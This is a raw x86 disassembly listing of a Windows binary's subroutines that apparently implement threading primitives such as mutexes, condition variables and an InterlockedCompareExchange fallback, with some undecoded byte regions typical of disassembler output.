; ---------------------------------------------------------------------------
loc_431F96: ; CODE XREF: sub_431EF0+67j
mov eax, [esp+10h+arg_4]
test eax, eax
jnz short loc_431FAA
mov ebp, 16h
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_431FAA: ; CODE XREF: sub_431EF0+ACj
lea edi, [esi+10h]
push eax
push edi
call sub_432100
add esp, 8
sub eax, 0
jz loc_43206A
dec eax
jz short loc_432034
dec eax
jz short loc_431FD5
call near ptr 77C1F2BCh
nop
mov ebp, [eax]
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_431FD5: ; CODE XREF: sub_431EF0+D4j
lea ebx, [esi+14h]
push ebx
call near ptr 7C901005h
nop
push edi
mov ebp, 274Ch
call sub_4010A5
add esp, 4
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_432007
nop
call near ptr 2780AFEh
push ebx
nop
call near ptr 7C9010EDh
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_432007: ; CODE XREF: sub_431EF0+101j
call near ptr 2780AFEh
nop
test eax, eax
jl short loc_432026
push edi
call sub_40103C
add esp, 4
test eax, eax
jz short loc_432026
call near ptr 77C1F2BCh
nop
mov ebp, [eax]
loc_432026: ; CODE XREF: sub_431EF0+11Fj
; sub_431EF0+12Cj
push ebx
call near ptr 7C9010EDh
nop
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_432034: ; CODE XREF: sub_431EF0+D1j
lea ebx, [esi+14h]
push ebx
nop
call near ptr 7C901005h
push edi
call sub_4010A5
mov edi, eax
add esp, 4
cmp edi, 0FFFFFFFFh
jnz short loc_43205A
push esi
nop
call near ptr 2780AFEh
mov ebp, 274Ch
loc_43205A: ; CODE XREF: sub_431EF0+15Cj
push ebx
call near ptr 7C9010EDh
nop
test edi, edi
jnz short loc_432081
jmp loc_431F30
; ---------------------------------------------------------------------------
loc_43206A: ; CODE XREF: sub_431EF0+CAj
mov ecx, [esi+8]
mov eax, 1
test ecx, ecx
mov [esi+4], eax
jz short loc_43207E
call sub_4012E4
; ---------------------------------------------------------------------------
loc_43207E: ; CODE XREF: sub_431EF0+4Dj
; sub_431EF0+187j
mov [esi+0Ch], eax
loc_432081: ; CODE XREF: sub_431EF0+173j
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_432088: ; CODE XREF: sub_431EF0+Aj
; sub_431EF0+14j
pop esi
mov eax, 16h
pop ebp
retn
sub_431EF0 endp
; ---------------------------------------------------------------------------
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432100 proc near ; CODE XREF: sub_431EF0+BFp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 0Ch
push esi
push edi
mov edi, [esp+14h+arg_0]
test edi, edi
jz loc_43219E
mov esi, [esp+14h+arg_4]
test esi, esi
jnz short loc_432132
or eax, 0FFFFFFFFh
loc_43211C: ; CODE XREF: sub_432100+7Fj
push eax
mov eax, [edi]
mov ecx, [eax]
push ecx
nop
call near ptr 2780782h
test eax, eax
jnz short loc_43218C
pop edi
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_432132: ; CODE XREF: sub_432100+17j
lea eax, [esp+14h+var_C]
push eax
nop
call near ptr 77C49113h
mov ecx, [esi+4]
mov eax, 431BDE83h
add ecx, 7A120h
add esp, 4
mul ecx
mov eax, [esi]
mov ecx, [esp+14h+var_C]
shr edx, 12h
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
shl ecx, 3
lea eax, [edx+eax*8]
mov edx, [esp+14h+var_8]
sub eax, ecx
and edx, 0FFFFh
sub eax, edx
jns short loc_43211C
pop edi
mov eax, 2
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_43218C: ; CODE XREF: sub_432100+2Aj
cmp eax, 102h
jnz short loc_43219E
pop edi
mov eax, 1
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_43219E: ; CODE XREF: sub_432100+Bj
; sub_432100+91j
call near ptr 77C1F2BCh
nop
mov dword ptr [eax], 16h
pop edi
or eax, 0FFFFFFFFh
pop esi
add esp, 0Ch
retn
sub_432100 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4321F0 proc near ; CODE XREF: sub_4010C3j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push ebx
xor ebx, ebx
push esi
cmp eax, ebx
jz loc_432290
mov esi, [eax]
cmp esi, ebx
jz loc_432290
cmp esi, 0FFFFFFFFh
push edi
jz short loc_432285
mov eax, [esi+0Ch]
mov edi, 1
cmp eax, edi
jz short loc_43223A
call sub_4012E4
; ---------------------------------------------------------------------------
push eax
mov eax, [esi+0Ch]
push eax
call sub_401A64
add esp, 8
test eax, eax
jnz short loc_43223A
mov ebx, edi
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43223A: ; CODE XREF: sub_4321F0+2Aj
; sub_4321F0+40j
cmp [esi+8], edi
jnz short loc_432248
mov eax, [esi+4]
dec eax
mov [esi+4], eax
jnz short loc_43228A
loc_432248: ; CODE XREF: sub_4321F0+4Dj
lea edi, [esi+14h]
mov [esi+0Ch], ebx
push edi
call near ptr 7C901005h
nop
push esi
call near ptr 2780AFEh
nop
test eax, eax
jl short loc_432278
add esi, 10h
push esi
call sub_40103C
add esp, 4
test eax, eax
jz short loc_432278
nop
call near ptr 77C1F2BCh
mov ebx, [eax]
loc_432278: ; CODE XREF: sub_4321F0+6Ej
; sub_4321F0+7Ej
push edi
call near ptr 7C9010EDh
nop
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432285: ; CODE XREF: sub_4321F0+1Ej
mov ebx, 16h
loc_43228A: ; CODE XREF: sub_4321F0+56j
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432290: ; CODE XREF: sub_4321F0+Aj
; sub_4321F0+14j
pop esi
mov eax, 16h
pop ebx
retn
sub_4321F0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4322D0 proc near ; CODE XREF: sub_401785j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
xor edi, edi
test esi, esi
jz short loc_432355
mov eax, [esi]
test eax, eax
jz short loc_432355
cmp eax, 0FFFFFFFFh
jnz short loc_4322F2
push esi
call sub_401C17
add esp, 4
mov edi, eax
loc_4322F2: ; CODE XREF: sub_4322D0+15j
mov esi, [esi]
test edi, edi
jnz short loc_432350
push 0FFFFFFFFh
push edi
push esi
call dword_5103C8 ; InterlockedCompareExchange
cmp eax, 0FFFFFFFFh
jnz short loc_432323
mov ecx, [esi+8]
mov eax, 1
test ecx, ecx
mov [esi+4], eax
jz short loc_43231B
call sub_4012E4
; ---------------------------------------------------------------------------
loc_43231B: ; CODE XREF: sub_4322D0+44j
mov [esi+0Ch], eax
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_432323: ; CODE XREF: sub_4322D0+35j
cmp dword ptr [esi+8], 1
jnz short loc_43234B
call sub_4012E4
; ---------------------------------------------------------------------------
push eax
mov eax, [esi+0Ch]
push eax
call sub_401A64
add esp, 8
test eax, eax
jz short loc_43234B
mov eax, [esi+4]
inc eax
mov [esi+4], eax
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_43234B: ; CODE XREF: sub_4322D0+57j
; sub_4322D0+6Dj
mov edi, 10h
loc_432350: ; CODE XREF: sub_4322D0+26j
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_432355: ; CODE XREF: sub_4322D0+Aj
; sub_4322D0+10j
pop edi
mov eax, 16h
pop esi
retn
sub_4322D0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432390: ; CODE XREF: ___:0040193Dj
mov eax, [esp+8]
mov ecx, [esp+4]
push eax
push ecx
call sub_40119A
add esp, 8
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4323C0: ; CODE XREF: ___:00401591j
mov eax, [esp+8]
mov ecx, [esp+4]
push eax
push ecx
call sub_4018CF
add esp, 8
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4323F0: ; CODE XREF: ___:00401497j
mov eax, [esp+4]
test eax, eax
jz short loc_4323FC
mov eax, [eax+4]
retn
; ---------------------------------------------------------------------------
loc_4323FC: ; CODE XREF: ___:004323F6j
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432410: ; CODE XREF: ___:00401C12j
mov eax, [esp+4]
push esi
test eax, eax
push edi
jnz short loc_432422
pop edi
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_432422: ; CODE XREF: ___:00432418j
mov esi, [eax]
test esi, esi
jnz short loc_432445
mov ecx, [eax+4]
test ecx, ecx
jnz short loc_432445
call sub_401D02
; ---------------------------------------------------------------------------
dd 0DFE89056h, 0E8023FF7h, 0FFFCF8C2h, 5EC0335Fh
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_432445: ; CODE XREF: ___:00432426j
; ___:0043242Dj
mov ecx, [eax+4]
mov eax, 431BDE83h
add ecx, 0F423Fh
imul ecx
sar edx, 12h
mov eax, edx
shr eax, 1Fh
add edx, eax
lea eax, [esi+esi*4]
lea eax, [eax+eax*4]
lea ecx, [eax+eax*4]
lea edi, [edx+ecx*8]
call sub_4012E4
; ---------------------------------------------------------------------------
mov esi, eax
test esi, esi
jnz short loc_43247E
pop edi
mov eax, 0Ch
pop esi
retn
; ---------------------------------------------------------------------------
loc_43247E: ; CODE XREF: ___:00432474j
mov eax, [esi+30h]
push edi
test eax, eax
jnz short loc_4324E6
mov edx, [esi+38h]
push edx
nop
call near ptr 2780782h
test eax, eax
jnz short loc_4324D7
lea edi, [esi+2Ch]
push edi
call sub_402248
mov eax, [esi+0Ch]
add esp, 4
cmp eax, 3
jge short loc_4324C6
push edi
mov dword ptr [esi+0Ch], 3
mov dword ptr [esi+30h], 1
call sub_4010C3
push 2
call sub_401DED
; ---------------------------------------------------------------------------
add esp, 8
loc_4324C6: ; CODE XREF: ___:004324A6j
push edi
call sub_4010C3
add esp, 4
mov eax, 3
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4324D7: ; CODE XREF: ___:00432492j
cmp eax, 102h
jz short loc_4324EC
pop edi
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_4324E6: ; CODE XREF: ___:00432484j
nop
call near ptr 2831C1Ah
loc_4324EC: ; CODE XREF: ___:004324DCj
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432540: ; CODE XREF: ___:00401014j
push ecx
lea eax, [esp+0]
push eax
call sub_401C3A
add esp, 4
test eax, eax
mov eax, 1
jnz short loc_43255B
mov eax, [esp+0]
loc_43255B: ; CODE XREF: ___:00432555j
pop ecx
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432570 proc near ; CODE XREF: sub_401712j
push esi
call sub_401320
push offset aKernel32_dll ; "KERNEL32.DLL"
mov esi, eax
call near ptr 27F08FAh
nop
push offset aInterlockedcom ; "InterlockedCompareExchange"
push eax
mov dword_5103AC, eax
nop
call near ptr 28A03E1h
test eax, eax
mov dword_5103C8, eax
jnz short loc_4325BD
mov eax, dword_5103AC
mov dword_5103C8, offset sub_4012D0
push eax
nop
call near ptr 2760311h
mov dword_5103AC, 0
loc_4325BD: ; CODE XREF: sub_432570+2Bj
mov eax, esi
pop esi
retn
sub_432570 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4325F0 proc near ; CODE XREF: sub_401627j
mov eax, dword_5103B0
test eax, eax
jz short loc_432640
mov eax, dword_5103B4
push eax
call sub_401190
; ---------------------------------------------------------------------------
dd 8504C483h, 832074C0h, 75012078h, 0A0E8501Ah, 8BFFFCF1h
dd 5103B40Dh, 4C48300h, 6A118Bh, 0D5E89052h, 0E80232D9h
dd 0FFFCF015h, 5103ACA1h, 74C08500h, 0D2E85007h, 900232DCh
; ---------------------------------------------------------------------------
loc_432640: ; CODE XREF: sub_4325F0+7j
mov eax, 1
retn
sub_4325F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432670 proc near ; CODE XREF: sub_4017BCj
mov eax, 1
retn
sub_432670 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432690 proc near ; CODE XREF: sub_4017CBj
mov eax, dword_5103B0
test eax, eax
jz short loc_4326CB
mov eax, dword_5103B4
push eax
call sub_401190
; ---------------------------------------------------------------------------
dd 8504C483h, 832074C0h, 75012078h, 0E8501Ah, 8BFFFCF1h
dd 5103B40Dh, 4C48300h, 6A118Bh, 35E89052h
db 0D9h, 32h, 2
; ---------------------------------------------------------------------------
loc_4326CB: ; CODE XREF: sub_432690+7j
mov eax, 1
retn
sub_432690 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432700: ; CODE XREF: ___:0040225Cj
push ecx
push esi
push offset dword_510980
xor esi, esi
nop
call near ptr 7C901005h
mov eax, dword_5103BC
test eax, eax
mov [esp+4], eax
jz short loc_43273E
loc_43271C: ; CODE XREF: ___:0043273Cj
test esi, esi
jnz short loc_43273E
lea eax, [esp+4]
push eax
call sub_40160E
mov ecx, [esp+8]
mov esi, eax
add esp, 4
mov eax, [ecx+18h]
test eax, eax
mov [esp+4], eax
jnz short loc_43271C
loc_43273E: ; CODE XREF: ___:0043271Aj
; ___:0043271Ej
push offset dword_510980
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
neg eax
sbb eax, eax
and eax, 0Bh
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432780 proc near ; CODE XREF: sub_4012B7j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jz short loc_432799
mov eax, [eax]
test eax, eax
jz short loc_432799
cmp dword ptr [eax], 0C4C0FFEEh
jnz short loc_432799
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_432799: ; CODE XREF: sub_432780+6j
; sub_432780+Cj ...
mov eax, 1
retn
sub_432780 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4327B0 proc near ; CODE XREF: sub_401320j
mov eax, dword_5103B0
test eax, eax
jz short loc_4327BF
mov eax, 1
retn
; ---------------------------------------------------------------------------
loc_4327BF: ; CODE XREF: sub_4327B0+7j
push 0
push offset dword_5103B4
mov dword_5103B0, 1
call sub_401609
add esp, 8
test eax, eax
jnz short loc_4327EE
push eax
push offset dword_5103B8
call sub_401609
add esp, 8
test eax, eax
jz short loc_4327F3
loc_4327EE: ; CODE XREF: sub_4327B0+2Aj
call sub_401645
loc_4327F3: ; CODE XREF: sub_4327B0+3Cj
push esi
mov esi, dword_511868
push offset dword_5108C0
call esi
push offset dword_510920
call esi
push offset dword_510980
call esi
push offset dword_510900
call esi
push offset dword_510960
call esi
push offset dword_510940
call esi
mov eax, dword_5103B0
pop esi
retn
sub_4327B0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432850 proc near ; CODE XREF: sub_401645j
mov eax, dword_5103B0
test eax, eax
jz locret_432909
mov eax, dword_5103B4
test eax, eax
jz short loc_432879
push eax
call sub_401AB4
add esp, 4
mov dword_5103B4, 0
loc_432879: ; CODE XREF: sub_432850+14j
mov eax, dword_5103B8
test eax, eax
jz short loc_432895
push eax
call sub_401AB4
add esp, 4
mov dword_5103B8, 0
loc_432895: ; CODE XREF: sub_432850+30j
push esi
push offset dword_5108C0
nop
call near ptr 7C901005h
mov eax, dword_447700
cmp eax, 1
jz short loc_4328C3
push edi
mov edi, dword_511AD0
loc_4328B2: ; CODE XREF: sub_432850+70j
mov esi, [eax+8]
push eax
call edi ; free
add esp, 4
cmp esi, 1
mov eax, esi
jnz short loc_4328B2
pop edi
loc_4328C3: ; CODE XREF: sub_432850+59j
push offset dword_5108C0
nop
call near ptr 7C9010EDh
mov esi, dword_511864
push offset dword_510940
call esi
push offset dword_510960
call esi
push offset dword_510900
call esi
push offset dword_510980
call esi
push offset dword_510920
call esi
push offset dword_5108C0
call esi
mov dword_5103B0, 0
pop esi
locret_432909: ; CODE XREF: sub_432850+7j
retn
sub_432850 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432940: ; CODE XREF: ___:loc_401BA9j
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+8]
push esi
push edi
push eax
mov esi, [eax]
mov ecx, [eax+4]
mov edx, [eax+8]
mov [ebp-4], esi
mov [ebp-0Ch], ecx
mov [ebp-8], edx
nop
call near ptr 77C2C21Bh
mov eax, dword_5103B4
push esi
push eax
call sub_4020F9
; ---------------------------------------------------------------------------
mov dword ptr [esi+0Ch], 1
add esi, 3Ch
push 0
push esi
call sub_437D4C
; ---------------------------------------------------------------------------
mov edi, [ebp-4]
add esp, 14h
test eax, eax
jnz short loc_43299C
mov ecx, [ebp-8]
push ecx
call dword ptr [ebp-0Ch]
add esp, 4
mov [edi+14h], eax
mov esi, eax
jmp short loc_4329A8
; ---------------------------------------------------------------------------
loc_43299C: ; CODE XREF: ___:00432989j
dec eax
jz short loc_4329A5
dec eax
or esi, 0FFFFFFFFh
jmp short loc_4329A8
; ---------------------------------------------------------------------------
loc_4329A5: ; CODE XREF: ___:0043299Dj
mov esi, [edi+14h]
loc_4329A8: ; CODE XREF: ___:0043299Aj
; ___:004329A3j
cmp dword ptr [edi+20h], 1
jnz short loc_4329C7
call sub_4017CB
push esi
call near ptr 77C3A307h
nop
add esp, 4
mov eax, esi
pop edi
pop esi
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_4329C7: ; CODE XREF: ___:004329ACj
push edi
call sub_40131B
add esp, 4
push esi
nop
call near ptr 77C3A307h
add esp, 4
mov eax, esi
pop edi
pop esi
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432A20 proc near ; CODE XREF: sub_4017B7j
var_84 = byte ptr -84h
var_80 = dword ptr -80h
var_58 = byte ptr -58h
var_4C = dword ptr -4Ch
var_8 = byte ptr -8
arg_0 = dword ptr 4
sub esp, 84h
push ebx
mov ebx, [esp+88h+arg_0]
test ebx, ebx
push esi
jz short loc_432A9A
lea esi, [ebx+2Ch]
push edi
push esi
call sub_402248
push esi
mov dword ptr [ebx+0Ch], 5
call sub_4010C3
push ebx
call sub_40131B
mov ecx, 21h
mov esi, ebx
lea edi, [esp+9Ch+var_84]
push ebx
rep movsd
call sub_401BD1
mov eax, [esp+0A0h+var_4C]
mov esi, dword_5118E0
add esp, 10h
test eax, eax
pop edi
jz short loc_432A78
push eax
call esi
loc_432A78: ; CODE XREF: sub_432A20+53j
lea eax, [esp+8Ch+var_58]
push eax
call sub_402252
mov eax, [esp+90h+var_80]
add esp, 4
test eax, eax
jz short loc_432A9A
test [esp+8Ch+var_8], 1
jnz short loc_432A9A
push eax
call esi
loc_432A9A: ; CODE XREF: sub_432A20+11j
; sub_432A20+6Bj ...
pop esi
pop ebx
add esp, 84h
retn
sub_432A20 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432AE0 proc near ; CODE XREF: sub_401DDEj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
push esi
push edi
push 14h
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_432B01
pop edi
pop esi
pop ebp
mov eax, 0Ch
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432B01: ; CODE XREF: sub_432AE0+15j
mov edi, [esp+10h+arg_8]
mov ebp, [esp+10h+arg_4]
mov dword ptr [esi], 0FFFFFFFFh
mov [esi+4], ebp
lea ebx, [edi+8]
mov [esi+8], edi
push ebx
call sub_402248
add esp, 4
mov [esp+10h+arg_4], eax
test eax, eax
jz short loc_432B42
push esi
call sub_402252
push esi
call near ptr 77C2C21Bh
nop
mov eax, [esp+18h+arg_4]
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432B42: ; CODE XREF: sub_432AE0+47j
mov eax, [edi+0Ch]
push ebx
mov [esi+10h], eax
mov [edi+0Ch], esi
call sub_4010C3
add esp, 4
test ebp, ebp
jz short loc_432B67
mov ecx, [ebp+80h]
mov [esi+0Ch], ecx
mov [ebp+80h], esi
loc_432B67: ; CODE XREF: sub_432AE0+76j
mov edx, [esp+10h+arg_0]
pop edi
xor eax, eax
mov [edx], esi
pop esi
pop ebp
pop ebx
retn
sub_432AE0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432BB0 proc near ; CODE XREF: sub_40105Fj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_432BD7
mov eax, [esi+8]
test eax, eax
jnz short loc_432BD7
mov eax, [esi+4]
test eax, eax
jnz short loc_432BD7
push esi
call sub_402252
push esi
nop
call near ptr 77C2C21Bh
add esp, 8
loc_432BD7: ; CODE XREF: sub_432BB0+7j
; sub_432BB0+Ej ...
pop esi
retn
sub_432BB0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432BF0 proc near ; CODE XREF: sub_40131Bj
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
test ebx, ebx
push esi
jz short loc_432C5D
mov esi, [ebx+80h]
test esi, esi
jz short loc_432C5D
push edi
loc_432C05: ; CODE XREF: sub_432BF0+6Aj
push esi
call sub_402248
add esp, 4
test eax, eax
jnz short loc_432C58
mov edi, [esi+8]
test edi, edi
jz short loc_432C33
push edi
call sub_401190
; ---------------------------------------------------------------------------
add esp, 4
test eax, eax
jz short loc_432C33
mov edi, [edi+4]
test edi, edi
jz short loc_432C33
push eax
loc_432C2E: ; CODE XREF: ___:00432CA7j
call edi ; free
add esp, 4
loc_432C33: ; CODE XREF: sub_432BF0+27j
; sub_432BF0+34j ...
mov eax, [esi+0Ch]
mov dword ptr [esi+4], 0
push esi
mov [ebx+80h], eax
call sub_4010C3
push esi
call sub_40105F
mov esi, [ebx+80h]
add esp, 8
loc_432C58: ; CODE XREF: sub_432BF0+20j
test esi, esi
jnz short loc_432C05
pop edi
loc_432C5D: ; CODE XREF: sub_432BF0+8j
; sub_432BF0+12j
pop esi
pop ebx
retn
sub_432BF0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_432C80 proc near ; CODE XREF: sub_401DEDj
mov eax, dword_5103B4
push ebx
push edi
push eax
call sub_401190
sub_432C80 endp
; ---------------------------------------------------------------------------
db 8Bh, 5Ch, 24h
; ---------------------------------------------------------------------------
adc [ebx-47CFB3Ch], al
add cl, [ebx-7CF28B08h]
sti
add [eax+ecx+6Ah], esi
add [eax-7F8E2918h], edx
ja short loc_432C2E
push dword ptr [esi+eax-0Ah]
inc edi
jl short near ptr loc_432CB0+1
loc_432CB0: ; CODE XREF: ___:00432CAEj
jz short loc_432CD5
push esi
mov eax, ebx
xor esi, esi
dec eax
jz short loc_432CC2
dec eax
jnz short loc_432CC5
or esi, 0FFFFFFFFh
jmp short loc_432CC5
; ---------------------------------------------------------------------------
loc_432CC2: ; CODE XREF: ___:00432CB8j
mov esi, [edi+14h]
loc_432CC5: ; CODE XREF: ___:00432CBBj
; ___:00432CC0j
call sub_4017CB
push esi
nop
call near ptr 77C3A307h
add esp, 4
pop esi
loc_432CD5: ; CODE XREF: ___:loc_432CB0j
push 1
call sub_401B22
; ---------------------------------------------------------------------------
dd 8304C483h, 57533CC7h, 408AE890h, 90907780h, 90909090h
dd 8 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_432D10 proc near ; CODE XREF: sub_401B22j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push esi
call sub_401122
sub_432D10 endp
; ---------------------------------------------------------------------------
add esp, 4
test eax, eax
jz short loc_432D2F
loc_432D22: ; CODE XREF: ___:00432D2Dj
push esi
call sub_401122
; ---------------------------------------------------------------------------
add esp, 4
test eax, eax
jnz short loc_432D22
loc_432D2F: ; CODE XREF: ___:00432D20j
pop esi
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432D50: ; CODE XREF: ___:00401DF7j
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432D70 proc near ; CODE XREF: sub_4012D0j
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push edx
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_4]
mov eax, [ebp+arg_8]
lock cmpxchg [ecx], edx
mov [ebp+var_4], eax
pop edx
pop ecx
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 0Ch
sub_432D70 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432DB0 proc near ; CODE XREF: sub_401C3Aj
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 8
lea eax, [esp+8+var_4]
lea ecx, [esp+8+var_8]
push esi
push eax
push ecx
xor esi, esi
nop
call near ptr 27A03CCh
push eax
nop
call near ptr 2750A76h
test eax, eax
jz short loc_432DF2
mov edx, [esp+0Ch+var_8]
xor ecx, ecx
mov eax, 1
loc_432DDC: ; CODE XREF: sub_432DB0+33j
test eax, edx
jz short loc_432DE1
inc ecx
loc_432DE1: ; CODE XREF: sub_432DB0+2Ej
shl eax, 1
jnz short loc_432DDC
mov edx, [esp+0Ch+arg_0]
mov eax, esi
pop esi
mov [edx], ecx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_432DF2: ; CODE XREF: sub_432DB0+1Fj
mov eax, 0Bh
pop esi
add esp, 8
retn
sub_432DB0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432E20 proc near ; CODE XREF: sub_40185Cj
arg_0 = dword ptr 4
push esi
push offset dword_510960
xor esi, esi
nop
call near ptr 7C901005h
mov ecx, [esp+4+arg_0]
mov eax, [ecx]
cmp eax, 0FFFFFFFFh
jnz short loc_432E54
push esi
push ecx
call sub_401F91
add esp, 8
mov esi, eax
push offset dword_510960
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_432E54: ; CODE XREF: sub_432E20+17j
test eax, eax
jnz short loc_432E5D
mov esi, 16h
loc_432E5D: ; CODE XREF: sub_432E20+36j
push offset dword_510960
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
sub_432E20 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432E90 proc near ; CODE XREF: sub_401861j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+14h]
lea ecx, [esi+4]
neg eax
push ecx
mov [esi+0Ch], eax
mov dword ptr [esi+14h], 0
call sub_4010C3
push esi
call sub_4010C3
add esp, 8
pop esi
retn
sub_432E90 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432ED0 proc near ; CODE XREF: sub_401F91j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
xor esi, esi
test eax, eax
jnz short loc_432EE2
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_432EE2: ; CODE XREF: sub_432ED0+9j
mov eax, [esp+4+arg_4]
push ebx
test eax, eax
push edi
jz short loc_432F02
cmp dword ptr [eax], 0
jz short loc_432F02
mov ecx, [esp+0Ch+arg_0]
mov edi, 16h
mov eax, edi
pop edi
mov [ecx], esi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
